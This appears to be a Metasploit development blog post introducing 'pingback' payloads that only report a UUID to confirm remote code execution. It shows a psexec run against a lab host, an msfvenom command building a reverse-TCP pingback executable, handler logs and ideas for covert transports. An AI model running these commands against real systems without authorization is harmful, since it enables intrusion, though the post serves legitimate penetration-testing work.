This week, the Metasploit team added a new feature to Framework that improves safety and offers another avenue in MSF for novel evasion techniques. We’re pleased to introduce pingback payloads: a new, non-interactive payload type that provides users with confirmation of remote execution on a target—and absolutely nothing else. Typical Metasploit sessions are interactive; users can send commands, receive data, and otherwise engage with the target. Pingback payloads, conversely, provide limited “pingback” functionality that verifies target exploitability without loading a shell.

Here’s how it works: Upon payload creation, a pingback payload is assigned a Universally Unique Identifier (UUID). In the reverse payload use case, the payload attempts to send the UUID back to the attacker a predefined number of times at a predefined interval (e.g., a pingback once every 24 hours for two weeks, or 14 times). For bind payload use cases, the payload sets up a listener that provides the UUID when someone connects to the server. After completing this task, the payload exits. No further command and control is available, and no other information is exchanged. Nowhere is data read from the connection, and only the UUID is written.

Pingback functionality increases safety and stealth in a number of ways: If there’s important data on a target server, the pen tester never saw it. If someone intercepts or sniffs the packet, it is merely a 16-byte “random” value. If a bind payload is left running by accident after a pen testing engagement and someone else connects to the open port, all that other party will get is a UUID number before the listener disappears forever.

We are constantly thinking about how to make Metasploit sessions more secure without compromising on utility and creativity for Metasploit users. In this case, rather than “add” security, we have followed the principle of least privilege and removed the value to another attacker.

Pingbacks in action

Pingback payloads are interchangeable with most other Metasploit payloads. If a user wants to prove that a target host is vulnerable (e.g., to creds they’ve obtained), but that user does not need to establish a session, they can use PsExec just like a regular payload:

msf5 exploit(windows/smb/psexec) > run

[*] PingbackUUID = be8c21f6654b4fb791198ebfb318f6ea
[*] Writing UUID be8c21f6654b4fb791198ebfb318f6ea to database...
[*] Started reverse TCP handler on 192.168.135.168:4567 
[*] 192.168.134.120:445 - Connecting to the server...
[*] 192.168.134.120:445 - Authenticating to 192.168.134.120:445 as user '[REDACTED]'...
[*] 192.168.134.120:445 - Checking for System32\WindowsPowerShell\v1.0\powershell.exe
[*] 192.168.134.120:445 - PowerShell found
[*] 192.168.134.120:445 - Selecting PowerShell target
[*] 192.168.134.120:445 - Powershell command length: 2536
[*] 192.168.134.120:445 - Executing the payload...
[*] 192.168.134.120:445 - Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.134.120[\svcctl] ...
[*] 192.168.134.120:445 - Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.134.120[\svcctl] ...
[*] 192.168.134.120:445 - Obtaining a service manager handle...
[*] 192.168.134.120:445 - Creating the service...
[+] 192.168.134.120:445 - Successfully created the service
[*] 192.168.134.120:445 - Starting the service...
[+] 192.168.134.120:445 - Service start timed out, OK if running a command or non-service executable...
[*] 192.168.134.120:445 - Removing the service...
[+] 192.168.134.120:445 - Successfully removed the service
[*] 192.168.134.120:445 - Closing service handle...
[*] Pingback session 1 opened (192.168.135.168:4567 -> 192.168.134.120:49162) at 2019-07-25 13:49:27 -0500
[*] Incoming UUID = be8c21f6654b4fb791198ebfb318f6ea
[+] UUID identified (be8c21f6654b4fb791198ebfb318f6ea)


[*] 192.168.134.120 - Pingback session 1 closed.  Reason: User exit

In this case, we created a payload with a UUID (it was added to our database), sent it to the target, and set up a listener. When we got the callback, Framework established a session long enough to receive the UUID, then exited.

A second example utilizes the PingbackRetries option and the PingbackSleep option:

tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p windows/x64/pingback_reverse_tcp -f exe -o test.exe LHOST=192.168.135.168 LPORT=4567 EXITFUNC=thread PINGBACKRETRIES=10 PINGBACKSLEEP=5

PingbackRetries denotes the number of times the payload will attempt to call back, while PingbackSleep defines the amount of time between callbacks.

msf5 exploit(multi/handler) > run

[-] Handler failed to bind to 192.168.135.111:4567:-  -
[*] Started reverse TCP handler on 0.0.0.0:4567 
[*] Pingback session 1 opened (192.168.135.168:4567 -> 192.168.134.120:49191) at 2019-07-25 15:35:35 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 2 opened (192.168.135.168:4567 -> 192.168.134.120:49192) at 2019-07-25 15:35:40 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 3 opened (192.168.135.168:4567 -> 192.168.134.120:49193) at 2019-07-25 15:35:45 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 4 opened (192.168.135.168:4567 -> 192.168.134.120:49194) at 2019-07-25 15:35:50 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 5 opened (192.168.135.168:4567 -> 192.168.134.120:49195) at 2019-07-25 15:35:55 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 6 opened (192.168.135.168:4567 -> 192.168.134.120:49196) at 2019-07-25 15:36:00 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 7 opened (192.168.135.168:4567 -> 192.168.134.120:49197) at 2019-07-25 15:36:05 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 8 opened (192.168.135.168:4567 -> 192.168.134.120:49198) at 2019-07-25 15:36:10 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 9 opened (192.168.135.168:4567 -> 192.168.134.120:49199) at 2019-07-25 15:36:15 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 10 opened (192.168.135.168:4567 -> 192.168.134.120:49200) at 2019-07-25 15:36:20 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)
[*] Pingback session 11 opened (192.168.135.168:4567 -> 192.168.134.120:49201) at 2019-07-25 15:36:25 -0500
[*] Incoming UUID = f87bc2a95d7f450ea54345cf48fd8829
[+] UUID identified (f87bc2a95d7f450ea54345cf48fd8829)

Notice that the source port changes each time. With Metasploit’s traditional TCP-based payloads, connections are often kept open until the user shuts down the payload. Pingback payloads, on the other hand, close the connection after sending the UUID, and reopen another connection when the user sends the UUID again. If the PingbackSleep value were 86,400 (24 hours), a pen tester could shut off their computer until the next day, restart the listener, and get the next callback as though nothing happened.

Currently, we have added 11 pingback payloads. The list below gives us a good starting set of coverage. More payloads are both possible and welcome!

cmd/unix/pingback_bind.rb
cmd/unix/pingback_reverse.rb
linux/x64/pingback_bind_tcp.rb
linux/x64/pingback_reverse_tcp.rb
python/pingback_bind_tcp.rb
python/pingback_reverse_tcp.rb
ruby/pingback_bind_tcp.rb
ruby/pingback_reverse_tcp.rb
windows/pingback_bind_tcp.rb
windows/pingback_reverse_tcp.rb
windows/x64/pingback_reverse_tcp.rb

One challenge we faced (and perhaps an opportunity for future work) is that this payload does not allow for post-exploitation cleanup. As such, it is incompatible with exploits placing files on the remote host. For example, the hp_autopass_license_traversal uses FileDropper to place a file on a remote host and then schedules it for cleanup. If a user attempts to use a pingback payload with the hp_autopass_license_traversal, it will fail:

msf5 exploit(windows/smb/psexec) > use exploit/windows/http/hp_autopass_license_traversal 
msf5 exploit(windows/http/hp_autopass_license_traversal) > set payload windows/pingback_reverse_tcp
[-] The value specified for payload is not valid.
msf5 exploit(windows/http/hp_autopass_license_traversal) > 

As always, there are many features that would make pingbacks even better for the Framework user community, and we welcome contributions! One thing we are very excited about is that with only a 16-byte asynchronous response required, the command and control portion of pingbacks can be expanded to transports that we’ve not used previously. ICMP, ARP, hidden in existing packet slack space, and even email become possible transport mechanisms!